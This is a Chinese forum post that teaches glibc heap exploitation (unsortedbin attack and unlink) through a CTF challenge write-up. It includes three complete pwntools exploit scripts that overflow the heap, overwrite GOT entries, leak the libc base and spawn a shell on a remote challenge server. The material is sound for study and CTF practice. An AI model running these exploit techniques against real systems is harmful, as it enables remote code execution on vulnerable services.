找回密码
 立即注册
首页 业界区 业界 Unsortedbin attack与Unlink

Unsortedbin attack与Unlink

姬宜欣 昨天 22:50
Unsortedbin attack:

顾名思义,就是利用unsortedbin进行攻击/泄露,主要是进行泄露

  • 可以泄露libc基址:方式大概是申请一个不属于fastbin大小范围(如果有tcache的话64位下就要申请一个大小大于0x410的堆块防止进入tcache)的堆块,free后其fd和bk指针就指向跟libc有关系的地址,如果能再申请回来并打印这个地址,就可以用这个地址减去对应的偏移泄露出libc基址。
  • 攻击:简单来说就是在有UAF/堆溢出漏洞时,修改unsortedbin中一个堆块的bk指针,指向我们要写地址-0x10处,再申请这个堆块,就可以在目标地址写一个unsortedbin 的链表头部地址,这个值不受我们控制。
Unlink:

简单来说就是smallbin或者unsortedbin中的堆块合并后要进行脱链(两个堆块合并成一个了)要修改其fd和bk指针,通过伪造fd和bk指针使得其修改的指针写在我们想让他写的地方,但在有保护后就只能往原堆块的链表地址内写入原堆块的链表地址-0x18的效果了(比如有一串链表管理堆,*链表上的地址就是堆的地址,那这样的效果就是 *链表上的地址==链表上的地址-0x18)。同时需要满足fd指针为目标地址-0x18(原理就是fd指针指向的是下一个堆块的头,下一个堆块的头+0x18就是下一个堆块的bk指针,下一个堆块的bk指针一个要指向该堆块的头),bk指针要为目标地址-0x10(原理就是bk指针指向上一个堆块的头,上一个堆块的头+0x10就是上一个堆块的fd指针,上一个堆块的fd指针应该要指向该堆块的头),不过在往链表上写了之后相当于我们控制了所有堆块的起始地址,如果能编辑堆块的内容,那就可以实现真正的任意地址写(因为 *链表上的地址就是堆的地址,我们的unlink把链表上原本应该是堆块的地址改成了链接表的地址)
下面我们看例题
polarctf-bll_ezheap2

这题2.23版本的题,保护是Partial RELRO简单逆向一下如下
1.png

有后门,但是free置空了,没有uaf
2.png

但是edit函数有堆溢出漏洞
3.png

所以这题就很简单了,通过unlink往list链表写入函数的got表,通过edit改got表为backdoor即可getsell,exp如下
  1. from pwn import *
  2. import sys
  3. from ctypes import *
  4. from ae64 import AE64
  5. from pymao import *
  6. context.log_level='debug'
  7. context.arch='amd64'
  8. elf=ELF('./pwn')
  9. libc = ELF('./libc.so.6')
  10. libc1=cdll.LoadLibrary('./libc.so.6')
  11. li='./libc.so.6'
  12. flag = 1
  13. if flag:
  14.     p = remote('1.95.36.136',2134)
  15. else:
  16.     p = process('./pwn')
  17. sa = lambda s,n : p.sendafter(s,n)
  18. sla = lambda s,n : p.sendlineafter(s,n)
  19. sl = lambda s : p.sendline(s)
  20. slr = lambda s : p.sendline(str(s))
  21. sd = lambda s : p.send(s)
  22. sdr = lambda s : p.send(str(s))
  23. rc = lambda n : p.recv(n)
  24. ru = lambda s : p.recvuntil(s)
  25. ti = lambda : p.interactive()
  26. rcl = lambda : p.recvline()
  27. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  28. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  29. i6 = lambda a : int(a,16)
  30. def csu():
  31.     pay=p64(0)+p64(0)+p64(1)
  32.     return pay
  33. def ph(s):
  34.     print(hex(s))
  35. def dbg():
  36.     # context.terminal = ['tmux', 'splitw', '-h']
  37.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  38.     pause()
  39. def free(s):
  40.     ru(b"choice:")
  41.     sdr(2)
  42.     ru(b"index:")
  43.     sdr(s)
  44. def edit(s,a,w):
  45.     ru(b"choice:")
  46.     sdr(3)
  47.     ru(b"index:")
  48.     sdr(s)
  49.     ru(b"length:")
  50.     sdr(a)
  51.     ru(b"content:")
  52.     sd(w)
  53. def add(s):
  54.     ru(b"choice:")
  55.     sdr(1)
  56.     ru("size:")
  57.     sdr(s)
  58. at=elf.got['atoi']
  59. back=0x4009D5
  60. tar=0x6010c0
  61. fr=elf.got['free']
  62. add(0x100)
  63. add(0x100)
  64. add(0x20)
  65. pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
  66. edit(0,0x110,pay)
  67. free(1)
  68. pay=0x18*b'b'+flat(at,fr)
  69. edit(0,0x100,pay)
  70. edit(1,0x100,p64(back))
  71. free(3)
  72. ti()
复制代码
这题其实没有后门也可以写,先unlink改freegot表为puts,通过house of orange的手法泄露出libc地址,然后unlink改出system函数或者onegadget即可,或者直接打house of orange也可以,我就演示一下不用后门的,house of orange会另外出文章讲,exp如下:
  1. from pwn import *
  2. import sys
  3. from ctypes import *
  4. from ae64 import AE64
  5. from pymao import *
  6. context.log_level='debug'
  7. context.arch='amd64'
  8. elf=ELF('./pwn')
  9. libc = ELF('./libc.so.6')
  10. libc1=cdll.LoadLibrary('./libc.so.6')
  11. li='./libc.so.6'
  12. flag = 1
  13. if flag:
  14.     p = remote('1.95.36.136',2125)
  15. else:
  16.     p = process('./pwn')
  17. sa = lambda s,n : p.sendafter(s,n)
  18. sla = lambda s,n : p.sendlineafter(s,n)
  19. sl = lambda s : p.sendline(s)
  20. slr = lambda s : p.sendline(str(s))
  21. sd = lambda s : p.send(s)
  22. sdr = lambda s : p.send(str(s))
  23. rc = lambda n : p.recv(n)
  24. ru = lambda s : p.recvuntil(s)
  25. ti = lambda : p.interactive()
  26. rcl = lambda : p.recvline()
  27. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  28. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  29. i6 = lambda a : int(a,16)
  30. def csu():
  31.     pay=p64(0)+p64(0)+p64(1)
  32.     return pay
  33. def ph(s):
  34.     print(hex(s))
  35. def dbg():
  36.     # context.terminal = ['tmux', 'splitw', '-h']
  37.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  38.     pause()
  39. def free(s):
  40.     ru(b"choice:")
  41.     sdr(2)
  42.     ru(b"index:")
  43.     sdr(s)
  44. def edit(s,a,w):
  45.     ru(b"choice:")
  46.     sdr(3)
  47.     ru(b"index:")
  48.     sdr(s)
  49.     ru(b"length:")
  50.     sdr(a)
  51.     ru(b"content:")
  52.     sd(w)
  53. def add(s):
  54.     ru(b"choice:")
  55.     sdr(1)
  56.     ru("size:")
  57.     sdr(s)
  58. at=elf.got['atoi']
  59. tar=0x6010c0
  60. fr=elf.got['free']
  61. puts=elf.sym['puts']
  62. add(0x100)
  63. add(0x100)
  64. add(0x20)
  65. pay=flat(0,0x101,p64(tar-0x18),p64(tar-0x10))+0xe0*b'b'+p64(0x100)+b'\x10'
  66. edit(0,0x110,pay)
  67. free(1)
  68. pay=p32(0)+p32(2)+p64(0)*2+p64(fr)
  69. edit(0,0x100,pay)
  70. edit(0,0x100,p64(puts))
  71. pay=b'b'*0x20+flat(0,0xdb1)
  72. edit(2,0x40,pay)
  73. add(0x1000)
  74. add(0x20)
  75. free(3)
  76. rcl()
  77. libcbase=u6(6)-0x3c4d78
  78. ph(libcbase)
  79. system=libcbase+libc.sym['system']
  80. ph(system)
  81. edit(0,0x8,p64(system))
  82. edit(2,0x30,b'/bin/sh\x00'*2)
  83. free(2)
  84. ti()
复制代码
也演示一下unsortedbin attack,这里因为没有uaf,但还可以通过堆溢出修改堆中内容,改前是这样
4.jpg

改后是这样
5.jpg

可以看到成功在我们指定的地方改出来了一个很大的数,演示的脚本如下
  1. from pwn import *
  2. import sys
  3. from ctypes import *
  4. from ae64 import AE64
  5. from pymao import *
  6. context.log_level='debug'
  7. context.arch='amd64'
  8. elf=ELF('./pwn')
  9. libc = ELF('./libc.so.6')
  10. libc1=cdll.LoadLibrary('./libc.so.6')
  11. li='./libc.so.6'
  12. flag = 0
  13. if flag:
  14.     p = remote('1.95.36.136',2125)
  15. else:
  16.     p = process('./pwn')
  17. sa = lambda s,n : p.sendafter(s,n)
  18. sla = lambda s,n : p.sendlineafter(s,n)
  19. sl = lambda s : p.sendline(s)
  20. slr = lambda s : p.sendline(str(s))
  21. sd = lambda s : p.send(s)
  22. sdr = lambda s : p.send(str(s))
  23. rc = lambda n : p.recv(n)
  24. ru = lambda s : p.recvuntil(s)
  25. ti = lambda : p.interactive()
  26. rcl = lambda : p.recvline()
  27. leak = lambda name,addr :log.success(name+"--->"+hex(addr))
  28. u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
  29. i6 = lambda a : int(a,16)
  30. def csu():
  31.     pay=p64(0)+p64(0)+p64(1)
  32.     return pay
  33. def ph(s):
  34.     print(hex(s))
  35. def dbg():
  36.     # context.terminal = ['tmux', 'splitw', '-h']
  37.     gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
  38.     pause()
  39. def free(s):
  40.     ru(b"choice:")
  41.     sdr(2)
  42.     ru(b"index:")
  43.     sdr(s)
  44. def edit(s,a,w):
  45.     ru(b"choice:")
  46.     sdr(3)
  47.     ru(b"index:")
  48.     sdr(s)
  49.     ru(b"length:")
  50.     sdr(a)
  51.     ru(b"content:")
  52.     sd(w)
  53. def add(s):
  54.     ru(b"choice:")
  55.     sdr(1)
  56.     ru("size:")
  57.     sdr(s)
  58. at=elf.got['atoi']
  59. back=0x4009D5
  60. tar=0x6010c0
  61. fr=elf.got['free']
  62. puts=elf.sym['puts']
  63. add(0x100)
  64. add(0x400)
  65. add(0x20)
  66. pay=0x100*b'b'+p64(0)+p64(0x410)+p64(0)+p64(tar-0x10)
  67. dbg()
  68. free(1)
  69. edit(0,0x300,pay)
  70. add(0x400)
  71. ti()
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册